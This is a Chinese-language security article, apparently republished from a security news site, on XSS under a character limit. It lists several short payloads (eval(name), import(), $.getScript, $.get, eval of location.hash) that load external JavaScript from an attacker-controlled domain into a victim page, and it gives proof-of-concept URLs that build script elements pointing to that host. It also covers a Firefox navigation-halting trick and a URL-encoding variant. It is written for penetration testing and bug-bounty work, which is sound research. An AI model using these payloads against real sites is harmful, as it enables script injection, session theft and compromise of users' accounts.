在某些渗透测试情况下,你也许可以插入一段JavaScript,但是由于有字元数目的限制,所以只能进行简单的弹窗。我最近看到了一份关于HackerOne的文章,也碰到是一样情况,这就是我之所以写这篇文章的原因。那篇文章的作者设法执行了任意的JavaScript,但是有些复杂,并且需要少量的用户交互。这大大减弱了漏洞严重性,导致悬赏很低。

我认为,对于XSS,更有前途的POC是从您控制的域载入外部JavaScript。这篇文章列出了可以用尽可能少的字元载入外部JavaScript的方法。

假设我们的有效负载被放置在锚标记的href属性中,并且被限制为32个字元;

<a href="<INJECTION>">Click</a>

  1. eval(name) 这可能是一个可以执行任意JavaScript的最短的有效负载。name属性可以被分配任何代码,并且也继承了跨域。这给了我们一个好处,使我们可以不受任何限制地执行任何payload,除非页面重写name。

    POC: attacker.cm2.pw/?"d=document;s=d.createElement(script);s.src=//cm2.pw;d.body.appendChild(s)";open(//victim.cm2.pw/?xss=<a href="javascript:eval(name)">Click</a>,_self)

    Payload 长度: javascript:eval(name).length==21
  2. import 这是获取外部JavaScript的另一个最短的payload,但是只能在基于Chromium的浏览器上工作。 POC: victim.cm2.pw/? Payload 长度: javascript:import(/?.?/).length==24
  3. $.getScript

    这是一个非常有名的jQuery函数,用来载入外部JavaScript。在全局上下文中获取并执行脚本,就像script标签载入的一样。但是,这要求jQuery已经在页面中载入。

    POC: victim.cm2.pw/? Payload 长度: javascript:$.getScript(/?.?/).length==29
  4. $.get 这是另一个jQuery函数,如果返回的Content类型设置为text/javascript,则该函数可以载入和执行外部JavaScript。这实际上是一个仅在jQuery 3.0.0之前能生效的漏洞。 POC: victim.cm2.pw/? Payload 长度:

    javascript:$.get(/?.?/).length==23

  5. 使用现有元素和/或属性 找到由用户部分或完全控制的HTML元素和JavaScript属性值并不罕见。虽然这可能需要花费一些时间,但是当插入的XSS长度受限时,它可以提供巨大的帮助。例如,大多数Ajax驱使应用存储hash标识符以便于导航。 如果页面存储hash如下; const hash = document.location.hash; 我们可以用它来载入外部脚本; eval(""+hash) POC: victim.cm2.pw/? hash=document.location.hash;Click#;d=document;s=d.createElement(script);s.src=//cm2.pw;d.body.appendChild(s) Payload 长度:

    `javascript:eval(""+hash)`.length==25

除了上面已知的技术之外,还有各种其他方式可以载入外部JavaScript。以下是一些我没有现成案例的说明;

-其他Library

-各种selector的使用

-使用DOM属性、以及其变种(例如,image id)

在某些情况下,Firefox在单击JavaScript URI时会跳转页面。为了防止这个动作,我们需要引入一个错误。因此,其中个解决办法是在每个payload的结尾添加一些类似无意义的栏位

javascript:eval(name);q
// halts navigation because q is not defined

最后,值得注意的是,还可以对JavaScript URL使用URL编码,比如;

<a href="javascript:x=%27,alert(1)//">Click</a>
// Thanks @garethheyes

POC:

cm2.pw/?

来源:长度受限情况下的 XSS 攻击|NOSEC安全讯息平台 - NOSEC.ORG

白帽汇从事信息安全,专注于安全大数据、企业威胁情报。

公司产品:FOFA-网路空间安全搜索引擎、FOEYE-网路空间检索系统、NOSEC-安全讯息平台。

为您提供:网路空间测绘、企业资产收集、企业威胁情报、应急响应服务。


推荐阅读:
相关文章